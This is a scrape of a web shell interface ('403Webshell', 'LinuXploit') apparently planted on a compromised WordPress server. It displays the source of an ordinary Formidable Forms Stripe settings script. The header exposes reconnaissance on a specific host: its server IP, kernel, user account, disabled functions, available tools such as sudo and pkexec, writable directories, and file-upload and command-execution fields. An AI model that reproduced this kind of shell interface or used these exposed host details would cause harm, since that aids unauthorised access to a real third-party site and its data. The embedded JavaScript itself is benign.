403Webshell
Server IP : 54.155.247.149  /  Your IP : 172.31.23.231
Web Server : Apache/2.4.68 (Ubuntu) mod_fcgid/2.3.9 OpenSSL/3.0.2
System : Linux ip-172-31-10-208.eu-west-1.compute.internal 6.8.0-1044-aws #46~22.04.1-Ubuntu SMP Tue Dec 2 12:52:18 UTC 2025 x86_64
User : kazang ( 1006)
PHP Version : 8.2.31
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,exec,system,passthru,shell_exec,proc_open,popen
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/kazang/web/kazang.com/public_html/wp-content/plugins/formidable/stripe/js/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/kazang/web/kazang.com/public_html/wp-content/plugins/formidable/stripe/js/connect_settings.js
( function() {
	function setupStripeConnectListener() {
		onclickPreventDefault( '#frm_disconnect_stripe', handleStripeDisconnectClick );
		onclickPreventDefault( '#frm_reauth_stripe', handleStripeReauthClick );
		onclickPreventDefault( '#frm_connect_with_oauth', handleConnectWithOauth );
		renderStripeConnectSettingsButton();
	}

	function renderStripeConnectSettingsButton() {
		const container = document.getElementById( 'frm_strp_settings_container' );
		if ( container ) {
			postAjax(
				{
					action: 'frm_strp_connect_get_settings_button'
				},
				function( data ) {
					container.innerHTML = data.html;
				}
			);
		}
	}

	function onclickPreventDefault( selector, callback ) {
		jQuery( document ).on( 'click', selector, function( event ) {
			event.preventDefault();
			callback( this );
		} );
	}

	function handleStripeDisconnectClick( trigger ) {
		const testMode = isTriggerInTestMode( trigger );
		const spinner = frmDom.span( { className: 'frm-wait frm_visible_spinner' } );

		spinner.style.margin = 0; // The default 20px margin causes the spinner to look bad.
		trigger.replaceWith( spinner );

		strpSettingsAjaxRequest(
			'frm_stripe_connect_disconnect',
			function() {
				renderStripeConnectSettingsButton();
			},
			testMode
		);
	}

	function handleStripeReauthClick( trigger ) {
		strpSettingsAjaxRequest(
			'frm_stripe_connect_reauth',
			function( data ) {
				if ( data.connect_url !== undefined ) {
					window.location = data.connect_url;
				} else {
					renderStripeConnectSettingsButton();
				}
			},
			isTriggerInTestMode( trigger )
		);
	}

	function handleConnectWithOauth( trigger ) {
		trigger.classList.add( 'frm_loading_button' );
		strpSettingsAjaxRequest(
			'frm_stripe_connect_oauth',
			function( data ) {
				if ( data.redirect_url !== undefined ) {
					window.location = data.redirect_url;
				} else {
					renderStripeConnectSettingsButton();
				}
			},
			isTriggerInTestMode( trigger )
		);
	}

	function strpSettingsAjaxRequest( action, success, testMode ) {
		const data = {
			action,
			testMode,
			nonce: frmGlobal.nonce
		};
		postAjax( data, success );
	}

	function postAjax( data, success ) {
		const xmlHttp = new XMLHttpRequest();
		const params = typeof data === 'string' ? data : Object.keys( data ).map(
			function( k ) {
				return `${ encodeURIComponent( k ) }=${ encodeURIComponent( data[ k ] ) }`;
			}
		).join( '&' );

		xmlHttp.open( 'post', ajaxurl, true );
		xmlHttp.onreadystatechange = function() {
			let response;
			if ( xmlHttp.readyState > 3 && xmlHttp.status == 200 ) {
				response = xmlHttp.responseText;
				if ( response !== '' ) {
					response = JSON.parse( response );
					if ( response.success ) {
						if ( response.data === undefined ) {
							response.data = {};
						}
						success( response.data );
					}
				}
			}
		};
		xmlHttp.setRequestHeader( 'X-Requested-With', 'XMLHttpRequest' );
		xmlHttp.setRequestHeader( 'Content-type', 'application/x-www-form-urlencoded' );
		xmlHttp.send( params );
		return xmlHttp;
	}

	function isTriggerInTestMode( trigger ) {
		return parseInt( jQuery( trigger ).closest( '[data-test-mode]' ).attr( 'data-test-mode' ) );
	}

	jQuery( document ).ready( setupStripeConnectListener );
}() );

Youez - 2016 - github.com/yon3zu
LinuXploit